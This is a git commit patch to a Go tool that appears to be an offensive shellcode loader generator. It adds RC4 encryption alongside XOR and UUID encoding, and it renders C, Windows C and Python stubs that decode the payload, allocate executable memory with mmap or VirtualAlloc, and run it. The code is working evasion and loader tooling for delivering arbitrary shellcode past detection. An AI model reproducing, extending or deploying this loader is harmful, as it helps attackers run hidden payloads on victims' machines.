From 343283f02f8fd92283aa82dd1aa2d2abdb08b414 Mon Sep 17 00:00:00 2001 From: heqnx Date: Thu, 22 May 2025 16:09:36 +0300 Subject: added rc4 --- main.go | 246 +++++++++++++++++++++++++++++++++++++++++++++++++++------------- 1 file changed, 198 insertions(+), 48 deletions(-) (limited to 'main.go') diff --git a/main.go b/main.go index 86820eb..ff71683 100644 --- a/main.go +++ b/main.go @@ -19,6 +19,7 @@ uuids = [ {{- end }} ] +print('decoding uuids to shellcode') shellcode = b'' for u in uuids: shellcode += uuid.UUID(u).bytes @@ -26,12 +27,39 @@ for u in uuids: shellcode = shellcode[:{{ .OrigLen }}] {{- if .XORKey }} +print('xor decrypting shellcode') key = {{ .XORKey }} shellcode = bytes(b ^ key for b in shellcode) {{- end }} +{{- if .RC4Key }} +def rc4_crypt(data, key): + S = list(range(256)) + j = 0 + out = bytearray() + key = bytearray(key, 'utf-8') + + for i in range(256): + j = (j + S[i] + key[i % len(key)]) % 256 + S[i], S[j] = S[j], S[i] + + i = j = 0 + for byte in data: + i = (i + 1) % 256 + j = (j + S[i]) % 256 + S[i], S[j] = S[j], S[i] + out.append(byte ^ S[(S[i] + S[j]) % 256]) + return bytes(out) + +print('rc4 decrypting shellcode') +rc4_key = "{{ .RC4Key }}" +shellcode = rc4_crypt(shellcode, rc4_key) + +{{- end }} + print(f'decoded shellcode length: {len(shellcode)} bytes') +print('calling mmap for memory allocation') pagesize = mmap.PAGESIZE size = ((len(shellcode) + pagesize - 1) // pagesize) * pagesize mem = mmap.mmap(-1, size, prot=mmap.PROT_READ | mmap.PROT_WRITE | mmap.PROT_EXEC) @@ -58,6 +86,9 @@ const char* uuid_strings[] = { {{- end }} }; +#define UUID_COUNT (sizeof(uuid_strings) / sizeof(uuid_strings[0])) +#define SHELLCODE_TOTAL_LEN (UUID_COUNT * 16) + uint8_t hexchar(char c) { if ('0' <= c && c <= '9') return c - '0'; if ('a' <= c && c <= 'f') return c - 'a' + 10; @@ -72,56 +103,78 @@ void parse_uuid(const char* str, uint8_t* out) { ++i; continue; } - out[j] = (hexchar(str[i]) << 4) | hexchar(str[i+1]); + out[j++] = (hexchar(str[i]) << 4) | hexchar(str[i+1]); i += 2; - ++j; } } -{{- if .XORKey }} +uint8_t* decode_uuids() { + printf("decoding uuids to shellcode\n"); + uint8_t* buf = malloc(SHELLCODE_TOTAL_LEN); + if (!buf) { + fprintf(stderr, "malloc failed\n"); + exit(1); + } + for (size_t i = 0; i < UUID_COUNT; ++i) { + parse_uuid(uuid_strings[i], buf + i * 16); + } + return buf; +} +{{- if .XORKey }} void xor_decode(uint8_t *buf, size_t len, uint8_t key) { - for (size_t i = 0; i < len; i++) { + printf("xor decrypting shellcode\n"); + for (size_t i = 0; i < len; ++i) buf[i] ^= key; - } } {{- end }} -uint8_t* decode_uuids(size_t count, size_t* out_len) { - uint8_t* buf = malloc(count * 16); - if (!buf) { - fprintf(stderr, "malloc failed\\n"); - exit(1); +{{- if .RC4Key }} +void rc4_crypt(uint8_t *data, size_t len, const char *key) { + printf("rc4 decrypting shellcode\n"); + uint8_t S[256]; + int i, j = 0; + for (i = 0; i < 256; i++) S[i] = i; + for (i = 0; i < 256; i++) { + j = (j + S[i] + key[i % strlen(key)]) & 0xFF; + uint8_t tmp = S[i]; S[i] = S[j]; S[j] = tmp; } - - for (size_t i = 0; i < count; ++i) { - parse_uuid(uuid_strings[i], buf + (i * 16)); + i = j = 0; + for (size_t n = 0; n < len; n++) { + i = (i + 1) & 0xFF; + j = (j + S[i]) & 0xFF; + uint8_t tmp = S[i]; S[i] = S[j]; S[j] = tmp; + data[n] ^= S[(S[i] + S[j]) & 0xFF]; } - - *out_len = count * 16; - return buf; } +{{- end }} -int main() { - size_t shellcode_len = 0; - uint8_t* shellcode = decode_uuids(sizeof(uuid_strings) / sizeof(uuid_strings[0]), &shellcode_len); - +void decrypt_shellcode(uint8_t *buf) { {{- if .XORKey }} - xor_decode(shellcode, shellcode_len, {{ .XORKey }}); + xor_decode(buf, SHELLCODE_TOTAL_LEN, {{ .XORKey }}); {{- end }} +{{- if .RC4Key }} + rc4_crypt(buf, SHELLCODE_TOTAL_LEN, "{{ .RC4Key }}"); +{{- end }} +} - printf("decoded shellcode length: %zu\\n", shellcode_len); +int main() { + uint8_t* shellcode = decode_uuids(); + decrypt_shellcode(shellcode); + + printf("decoded shellcode length: %zu\n", SHELLCODE_TOTAL_LEN); - void *exec = mmap(0, shellcode_len, PROT_READ | PROT_WRITE | PROT_EXEC, + printf("calling mmap for memory allocation\n"); + void *exec = mmap(0, SHELLCODE_TOTAL_LEN, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_ANON | MAP_PRIVATE, -1, 0); if (exec == MAP_FAILED) { perror("mmap"); return 1; } + printf("executing shellcode\n"); memcpy(exec, shellcode, ORIGINAL_SHELLCODE_LENGTH); ((void(*)())exec)(); - printf("successfully executed shellcode\\n"); free(shellcode); return 0; @@ -142,6 +195,9 @@ const char* uuid_strings[] = { {{- end }} }; +#define UUID_COUNT (sizeof(uuid_strings) / sizeof(uuid_strings[0])) +#define SHELLCODE_TOTAL_LEN (UUID_COUNT * 16) + uint8_t hexchar(char c) { if ('0' <= c && c <= '9') return c - '0'; if ('a' <= c && c <= 'f') return c - 'a' + 10; @@ -156,48 +212,81 @@ void parse_uuid(const char* str, uint8_t* out) { ++i; continue; } - out[j] = (hexchar(str[i]) << 4) | hexchar(str[i+1]); + out[j++] = (hexchar(str[i]) << 4) | hexchar(str[i+1]); i += 2; - ++j; } } -{{- if .XORKey }} +uint8_t* decode_uuids(size_t count, size_t* out_len) { + printf("decoding uuids to shellcode\n"); + uint8_t* buf = (uint8_t*)malloc(count * 16); + if (!buf) { + fprintf(stderr, "malloc failed\n"); + exit(1); + } + for (size_t i = 0; i < count; ++i) { + parse_uuid(uuid_strings[i], buf + i * 16); + } + + *out_len = count * 16; + return buf; +} + +{{- if .XORKey }} void xor_decode(uint8_t *buf, size_t len, uint8_t key) { - for (size_t i = 0; i < len; i++) { + printf("xor decrypting shellcode\n"); + for (size_t i = 0; i < len; ++i) buf[i] ^= key; - } } {{- end }} -int main() { - size_t count = sizeof(uuid_strings) / sizeof(uuid_strings[0]); - uint8_t* shellcode = (uint8_t*)malloc(count * 16); - if (!shellcode) { - fprintf(stderr, "malloc failed\n"); - return 1; +{{- if .RC4Key }} +void rc4_crypt(uint8_t *data, size_t len, const char *key) { + printf("rc4 decrypting shellcode\n"); + uint8_t S[256]; + int i, j = 0; + for (i = 0; i < 256; i++) S[i] = i; + for (i = 0; i < 256; i++) { + j = (j + S[i] + key[i % strlen(key)]) & 0xFF; + uint8_t tmp = S[i]; S[i] = S[j]; S[j] = tmp; } - - for (size_t i = 0; i < count; ++i) { - parse_uuid(uuid_strings[i], shellcode + i * 16); + i = j = 0; + for (size_t n = 0; n < len; n++) { + i = (i + 1) & 0xFF; + j = (j + S[i]) & 0xFF; + uint8_t tmp = S[i]; S[i] = S[j]; S[j] = tmp; + data[n] ^= S[(S[i] + S[j]) & 0xFF]; } +} +{{- end }} -{{if .XORKey }} - xor_decode(shellcode, count * 16, {{ .XORKey }}); +void decrypt_shellcode(uint8_t *buf) { +{{- if .XORKey }} + xor_decode(buf, SHELLCODE_TOTAL_LEN, {{ .XORKey }}); {{- end }} +{{- if .RC4Key }} + rc4_crypt(buf, SHELLCODE_TOTAL_LEN, "{{ .RC4Key }}"); +{{- end }} +} - printf("decoded shellcode length: %zu\n", count * 16); +int main() { + size_t shellcode_len = 0; + uint8_t* shellcode = decode_uuids(UUID_COUNT, &shellcode_len); + + decrypt_shellcode(shellcode); + printf("decoded shellcode length: %zu\n", shellcode_len); - void* exec = VirtualAlloc(NULL, count * 16, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); + printf("calling VirtualAlloc for memory allocation\n"); + void* exec = VirtualAlloc(NULL, shellcode_len, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); if (!exec) { fprintf(stderr, "VirtualAlloc failed\n"); free(shellcode); return 1; } + printf("executing shellcode\n"); memcpy(exec, shellcode, ORIGINAL_SHELLCODE_LENGTH); - ((void(*)())exec)(); free(shellcode); @@ -208,7 +297,8 @@ int main() { func main() { filePath := flag.String("file", "", "path to binary shellcode file") stubLang := flag.String("stub", "", "stub language to output (c, cwin, py)") - xorFlag := flag.Bool("xor", false, "enable random single-byte XOR encoding") + xorFlag := flag.Bool("xor", false, "enable single-byte xor encoding with random key") + rc4Flag := flag.Bool("rc4", false, "enable rc4 encryption with 16bit random key") flag.Parse() if *filePath == "" { @@ -229,20 +319,40 @@ func main() { data = append(data, make([]byte, pad)...) } + if *xorFlag && *rc4Flag { + fmt.Fprintf(os.Stderr, "[err] cannot use both xor and rc4\n") + os.Exit(1) + } + + var rc4Key []byte var xorKey byte = 0 + if *xorFlag { key := make([]byte, 1) _, err := rand.Read(key) if err != nil { - fmt.Fprintf(os.Stderr, "[err] failed to generate XOR key: %v\n", err) + fmt.Fprintf(os.Stderr, "[err] failed to generate xor key: %v\n", err) os.Exit(1) } xorKey = key[0] - fmt.Printf("[inf] using XOR key: 0x%02x\n", xorKey) + fmt.Printf("[inf] using xor key: 0x%02x\n", xorKey) for i := 0; i < len(data); i++ { data[i] ^= xorKey } + } else if *rc4Flag { + var err error + rc4Key, err = generateRC4Key() + if err != nil { + fmt.Fprintf(os.Stderr, "[err] failed to generate rc4 key: %v\n", err) + os.Exit(1) + } + fmt.Printf("[inf] using rc4 key: %s\n", string(rc4Key)) + data, err = rc4Encrypt(data, rc4Key) + if err != nil { + fmt.Fprintf(os.Stderr, "[err] rc4 encryption failed: %v\n", err) + os.Exit(1) + } } var uuids []string @@ -272,7 +382,7 @@ func main() { os.Exit(1) } - err := renderTemplateToFile(stubContent, uuids, origLen, xorKey, fileName) + err := renderTemplateToFile(stubContent, uuids, origLen, xorKey, string(rc4Key), fileName) if err != nil { fmt.Fprintf(os.Stderr, "[err] failed to write stub: %v\n", err) os.Exit(1) @@ -281,6 +391,45 @@ func main() { } } +func generateRC4Key() ([]byte, error) { + const charset = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789" + key := make([]byte, 16) + for i := range key { + b := make([]byte, 1) + if _, err := rand.Read(b); err != nil { + return nil, err + } + key[i] = charset[int(b[0])%len(charset)] + } + return key, nil +} + +func rc4Encrypt(data, key []byte) ([]byte, error) { + S := [256]byte{} + T := [256]byte{} + for i := 0; i < 256; i++ { + S[i] = byte(i) + T[i] = key[i%len(key)] + } + + j := 0 + for i := 0; i < 256; i++ { + j = (j + int(S[i]) + int(T[i])) % 256 + S[i], S[j] = S[j], S[i] + } + + i, j := 0, 0 + out := make([]byte, len(data)) + for n := 0; n < len(data); n++ { + i = (i + 1) % 256 + j = (j + int(S[i])) % 256 + S[i], S[j] = S[j], S[i] + K := S[(int(S[i])+int(S[j]))%256] + out[n] = data[n] ^ K + } + return out, nil +} + func formatAsUUID(b []byte) string { if len(b) != 16 { return "" @@ -294,7 +443,7 @@ func formatAsUUID(b []byte) string { ) } -func renderTemplateToFile(tmplStr string, uuids []string, origLen int, xorKey byte, fileName string) error { +func renderTemplateToFile(tmplStr string, uuids []string, origLen int, xorKey byte, rc4Key string, fileName string) error { tmpl, err := template.New("stub").Parse(tmplStr) if err != nil { return err @@ -310,6 +459,7 @@ func renderTemplateToFile(tmplStr string, uuids []string, origLen int, xorKey by "UUIDs": uuids, "OrigLen": origLen, "XORKey": xorKey, + "RC4Key": string(rc4Key), }) } -- cgit v1.2.3